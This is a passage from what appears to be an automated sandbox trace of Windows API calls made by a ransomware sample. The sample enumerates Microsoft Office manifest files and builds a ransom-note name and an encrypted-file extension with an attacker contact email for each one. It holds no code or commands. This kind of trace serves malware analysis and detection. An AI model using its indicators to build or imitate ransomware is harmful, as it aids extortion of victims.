pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.491] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.492] GetProcessHeap () returned 0x630000 [0120.492] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x168) returned 0x66a3e0 [0120.492] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP7BBA~1.XML")) returned 1 [0120.492] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 1 [0120.492] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.492] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.492] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.492] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.492] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.492] GetProcessHeap () returned 0x630000 [0120.492] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x16c) returned 0x66a3e0 [0120.492] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", cAlternateFileName="APEF10~1.XML")) returned 1 [0120.492] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 1 [0120.492] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.493] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.493] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.493] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.493] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.493] GetProcessHeap () returned 0x630000 [0120.493] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x170) returned 0x66a3e0 [0120.493] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", cAlternateFileName="AP5F49~1.XML")) returned 1 [0120.493] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 1 [0120.493] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml") returned 0x68 [0120.493] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.493] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.493] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.493] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.494] GetProcessHeap () returned 0x630000 [0120.494] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x174) returned 0x66a3e0 [0120.494] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", cAlternateFileName="APB0FE~1.XML")) returned 1 [0120.494] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 1 [0120.494] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml") returned 0x68 [0120.494] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.494] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.494] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.494] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.494] GetProcessHeap () returned 0x630000 [0120.494] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x178) returned 0x66a3e0 [0120.494] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x34b4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8AF5~1.XML")) returned 1 [0120.495] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 1 [0120.495] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml") returned 0x68 [0120.495] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.495] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.495] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.495] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.495] GetProcessHeap () returned 0x630000 [0120.495] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x17c) returned 0x66a3e0 [0120.495] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", cAlternateFileName="APF26A~1.XML")) returned 1 [0120.495] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 1 [0120.495] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.495] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.495] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.496] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.496] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.496] GetProcessHeap () returned 0x630000 [0120.496] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x180) returned 0x66a3e0 [0120.496] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC553~1.XML")) returned 1 [0120.496] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 1 [0120.497] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.497] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.497] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.497] GetProcessHeap () returned 0x630000 [0120.497] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x184) returned 0x66a3e0 [0120.497] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf2f172d, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x53d21, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP9FA1~1.XML")) returned 1 [0120.497] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 1 [0120.497] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml") returned 0x68 [0120.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.497] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.498] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.498] GetProcessHeap () returned 0x630000 [0120.498] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x188) returned 0x66a3e0 [0120.498] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a41, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP330B~1.XML")) returned 1 [0120.499] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 1 [0120.499] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.499] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.499] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.499] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.499] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.499] GetProcessHeap () returned 0x630000 [0120.499] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x18c) returned 0x66a3e0 [0120.499] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x573e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~1.XML")) returned 1 [0120.499] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 1 [0120.499] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml") returned 0x68 [0120.500] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.500] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.500] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.500] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.500] GetProcessHeap () returned 0x630000 [0120.500] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x190) returned 0x66a3e0 [0120.500] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6206~1.XML")) returned 1 [0120.500] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 1 [0120.500] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.500] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.500] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.500] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.500] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.501] GetProcessHeap () returned 0x630000 [0120.501] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x194) returned 0x66a3e0 [0120.501] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfdea, dwReserved0=0x0, 